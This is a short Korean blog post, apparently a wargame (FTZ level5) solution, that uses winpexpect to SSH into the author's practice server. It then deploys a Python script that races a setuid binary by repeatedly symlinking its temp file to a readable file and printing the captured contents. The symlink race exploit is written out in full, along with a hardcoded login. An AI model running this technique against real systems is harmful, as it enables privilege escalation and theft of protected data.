레이스 컨디션이라 생각하고 풀어볼시 파이썬 소스..
winpexpect라는걸 찾았는데 ssh로 접속해주는 라이브러리이다.
ssh로까지 자동 접속 가능하면 나의 ftz서버에 자동으로 파일 생성해서 실행까지 시킬 수 있다.
사용하다 보면 느끼는건데 winpexpect의 spawn은 내 cmd창 내부에서 또다른 하나의 cmd창을
만들어서 거기서 명령어를 실행시킨다는 그런 느낌? 써보면 되게 신기함.
여기에 정리 잘 해놓으심. 참고
import sys,winpexpect child = winpexpect.winspawn('cmd.exe') child.logfile = sys.stdout child.expect('>') child.sendline('C:\\Users\\Ko\\plink level5@192.168.253.128') #내 ftz서버로 ssh접속한다. child.expect('[P|p]assword: ') child.sendline('what is your name?') child.expect('\$ ') child.sendline('cd tmp') child.expect('\$ ') child.sendline(""" echo '#!/usr/bin/python import os import threading def exec_level5(): for i in range(10): os.system("/usr/bin/level5 &") print "--Execute level5--" def create_syms(): os.system("touch /tmp/lvl6pass.txt") for i in range(10): os.system("ln -s /tmp/lvl6pass.txt /tmp/level5.tmp &") print "--Successfully create link !!!--" os.system("cat /tmp/lvl6pass.txt") th1 = threading.Thread(target=exec_level5,args=()) th2 = threading.Thread(target=create_syms,args=()) th1.start() th2.start() th1.join() th2.join()' > level5.py """) child.expect('\$ ') child.sendline('chmod 777 level5.py') child.expect('\$ ') child.sendline('./level5.py') child.interact()
'Python > 2.7 information' 카테고리의 다른 글
python win32api (0) | 2015.01.13 |
---|---|
유니코드, christmasctf a letter to her 500, los xavis (0) | 2015.01.02 |
pytesser모듈. (0) | 2014.12.19 |
Tkinter(python gui) (0) | 2014.11.22 |
정규표현식 (파싱) (0) | 2014.11.20 |